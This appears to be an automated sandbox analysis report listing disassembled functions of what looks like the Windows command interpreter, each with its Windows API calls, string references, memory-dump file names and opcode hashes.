Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF64B56CEAA), ref: 00007FF64B56DFB8
RtlFreeHeap.NTDLL ref: 00007FF64B56DFCC
_setjmp.MSVCRT ref: 00007FF64B56E03E

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess_setjmp
String ID:
API String ID: 777023205-0
Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction ID: 7f70dd58b3785a621e33ae70e19cfff81c81a1e39233236c83a74c56ed9a4b11
Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction Fuzzy Hash: 66512830E0EA4299EA59BF15F880578F6A0FF4C750F545836DA6ED62B3DF3DA441CA10

Function 00007FF64B56B49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF64B56B4BD

Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706D6
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706F0
Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B57074D
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B570762

_wcsicmp.MSVCRT ref: 00007FF64B56B518
_wcsicmp.MSVCRT ref: 00007FF64B56B58B

Strings

ELSE, xrefs: 00007FF64B56B584
IF/?, xrefs: 00007FF64B56B4B4

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: ELSE$IF/?
API String ID: 3223794493-1134991328
Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction ID: 805dfdac44b812689a46f7233370ab62b41bf04329da8c869ab6ef9956e55db2
Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction Fuzzy Hash: D0411A61E0D64382FA6CBF24E4522BDA7A5AF5C740F546435D62EC63B7EE7CE8018740

Function 00007FF64B58E3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B58E43A
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58E45A
_get_osfhandle.MSVCRT ref: 00007FF64B58E4D9
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58E4F1

Part of subcall function 00007FF64B58D9D0: longjmp.MSVCRT(?,?,00000000,00007FF64B58048E), ref: 00007FF64B58DA58
Part of subcall function 00007FF64B58D9D0: memset.MSVCRT ref: 00007FF64B58DAD6
Part of subcall function 00007FF64B58D9D0: memset.MSVCRT ref: 00007FF64B58DAFC
Part of subcall function 00007FF64B58D9D0: memset.MSVCRT ref: 00007FF64B58DB22

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$File_get_osfhandle$PointerReadlongjmp
String ID:
API String ID: 1532185241-0
Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction ID: 46e79fc22fda5b4fe543c13028d68c17061399e45e339db3c9264f036416f716
Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction Fuzzy Hash: 6741C232A2875187E718BF21E44567DBAA1FB8CB40F445535EA2E837B6CF3CE8518B00

Function 00007FF64B564FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B565012
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B565030
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B582A84
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B582AD8
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B582B0F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction ID: d39b1d57da928baf51656663d7fef851e4d344ab0cfb426899dc0003fe67f1d0
Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction Fuzzy Hash: 84414971A1C646CBE618BF51E440679F661EB8CB91F145039D66E877B2CF2CE8408B40

Function 00007FF64B58A73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A77A
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A7AF
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A80E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A839
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A850

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: QueryValue$CloseErrorLastOpen
String ID:
API String ID: 2240656346-0
Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction ID: c56ba5a04a4eed255044eaaad6c7eb7d116824ef77cedfcf72d76245dd0c7439
Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction Fuzzy Hash: C0317A32A2CA82C2E754AF25E44056AF7A4FF8C790F545034EA9EC2776DF3CD8528B00

Function 00007FF64B58D0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5701B8: _get_osfhandle.MSVCRT ref: 00007FF64B5701C4
Part of subcall function 00007FF64B5701B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF64B57E904,?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B5701D6

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B58D0F9
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF64B58D10F
ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF64B58D166
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B58D17A
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF64B58D18C

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
String ID:
API String ID: 3008996577-0
Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction ID: ec01ec1265a9bb4c2a75e70d4fbbf97f3033e89f8aebcaea5c854f6c85c040b4
Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction Fuzzy Hash: 2F212B66B28651CAE704BF71E8000BDB7B0FB4DB54B449125DE1D93BA9EF38D045CB14

Function 00007FF64B575CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF64B58C9EE,?,?,?,00007FF64B58EA6C,?,?,?,00007FF64B58E925), ref: 00007FF64B575CCB
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FF64B58C9EE,?,?,?,00007FF64B58EA6C,?,?,?,00007FF64B58E925), ref: 00007FF64B575CDF
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF64B575D03
fprintf.MSVCRT ref: 00007FF64B57F4A9
fflush.MSVCRT ref: 00007FF64B57F4C2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 1826527819-0
Opcode ID: 424fc31126f981a1d5e6876f03eadb09916e9ca5210b05511d0996a25080ff4f
Instruction ID: 226fd09c7911195c2206f81107b4245b0a54c7435314c46d4f6b7df9fcc4e9cd
Opcode Fuzzy Hash: 424fc31126f981a1d5e6876f03eadb09916e9ca5210b05511d0996a25080ff4f
Instruction Fuzzy Hash: 9C011B61A0C682CAE608BF25E4442B9FA61EB8EB55F449174E66F863B7CF7C90448B00

Function 00007FF64B585770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B585874
CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B58595E

Strings

wil, xrefs: 00007FF64B5858A8, 00007FF64B585993
_p0, xrefs: 00007FF64B585811

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CreateSemaphore
String ID: _p0$wil
API String ID: 1078844751-1814513734
Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction ID: 1774e644ea6e8fe7090d07278b46bc2fa6c3e0fa01041f9f2d68f27cd038ed41
Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction Fuzzy Hash: 60511761B2D74286EE6ABF14E4543B9E290EF8CB90F644431DA2D877A2DF3CE415C740

Function 00007FF64B58FB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B58FBC1

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58FC58
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B58FD01

Strings

%5lu, xrefs: 00007FF64B58FCB0

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
Instruction ID: f8b0b00f9624a0b7d0d8c9be8f897c02b33b8f4ecb48f271a27c8c8900604ab5
Opcode Fuzzy Hash: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
Instruction Fuzzy Hash: 2141906270DAC185EB69FF51E8406EAB361FB88788F408035DA5D8B76ADF7CD649C700

Function 00007FF64B58B89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF64B58B934
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF64B575085), ref: 00007FF64B58B9A5
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF64B575085), ref: 00007FF64B58B9F7

Strings

%WINDOWS_COPYRIGHT%, xrefs: 00007FF64B58B912

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
String ID: %WINDOWS_COPYRIGHT%
API String ID: 1103618819-1745581171
Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction ID: 77eec70ccc0d90e4c03f9b10699a33b6990f4e04fa2f20660088cad52afe0b41
Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction Fuzzy Hash: 8741B262A1C786C2EB14BF11D410279B3A4FB4CB90F858231DAAD833A6EF3DE495C740

Function 00007FF64B590774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B5907DA

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

_wcslwr.MSVCRT ref: 00007FF64B59085B
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B5908A9

Strings

[%s], xrefs: 00007FF64B59080F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
Instruction ID: 7cb0272f08fe8dce706243d83822ad74a5779816f697b1da8a23165d38ff4deb
Opcode Fuzzy Hash: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
Instruction Fuzzy Hash: 6A316A72709B8285EB65EF21D8503E9A7A0FB8CB88F444135DA6D87766DF3CD6458700

Function 00007FF64B5732E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5733A8: iswspace.MSVCRT ref: 00007FF64B5733C0

iswspace.MSVCRT ref: 00007FF64B57331C

Strings

off, xrefs: 00007FF64B573386

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: iswspace
String ID: off
API String ID: 2389812497-733764931
Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction ID: 303d6325778763bf016db9159da6fee1d5bc4cc7c52bd8f83fe1565d2d1b246a
Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction Fuzzy Hash: AE215C61F0C642C6FA78BF15D451279E6A1EF4DBA0F48C035D96EC76A6DEACE842C301

Function 00007FF64B589308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF64B589350

Part of subcall function 00007FF64B5709F4: iswspace.MSVCRT ref: 00007FF64B570A11
Part of subcall function 00007FF64B5709F4: wcschr.MSVCRT ref: 00007FF64B570A2B

Part of subcall function 00007FF64B56D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
Part of subcall function 00007FF64B56D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D4EE
Part of subcall function 00007FF64B56D3F0: iswspace.MSVCRT ref: 00007FF64B56D54D
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D569
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D58C

Strings

%s=%s, xrefs: 00007FF64B5893C0
DPATH, xrefs: 00007FF64B589361, 00007FF64B58939F
PATH, xrefs: 00007FF64B589371, 00007FF64B5893AA

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: %s=%s$DPATH$PATH
API String ID: 3731854180-3148396303
Opcode ID: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction ID: 269661b5d8684a2fa1799a231819e27a837009b8c7e4bdf3d720756be804cb5b
Opcode Fuzzy Hash: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction Fuzzy Hash: 40218B61B1D646C1EA6CBF59E4402B9B6A1AF8CB80F889135C92EC33B6DE6CE4508340

Function 00007FF64B578198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00007FF64B5781EA
wcscmp.MSVCRT ref: 00007FF64B5781FD

Strings

????????.???, xrefs: 00007FF64B5781F3
*.*, xrefs: 00007FF64B5781E0

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcscmp
String ID: *.*$????????.???
API String ID: 3392835482-3870530610
Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction ID: 1e4849d77ab6029bb458a40ceb3732025ae396cf5ffbac3d8e9346f06bbba59d
Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction Fuzzy Hash: 88115625B2CA5281E768BF17E440539B2A1EB4CB81F199031DE5D87B66DE7DE4428700

Function 00007FF64B589114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF64B589146

Strings

Null environment, xrefs: 00007FF64B589138
%s, xrefs: 00007FF64B589179
CMD Internal Error %s, xrefs: 00007FF64B58913F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: fprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 383729395-2781220306
Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction ID: c160dc385bbc9ea9aaf0ee7b1ce2e3ea26720aab58dd353c5333071086da407d
Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction Fuzzy Hash: ED11912191C64292EB5EBF14E9440B9B261EB5CBF0F946331D67D832F6EF2CE4558740

Function 00007FF64B5704F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B570525
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B570554

Strings

KERNEL32.DLL, xrefs: 00007FF64B57051E
SetThreadUILanguage, xrefs: 00007FF64B57054D

Memory Dump Source

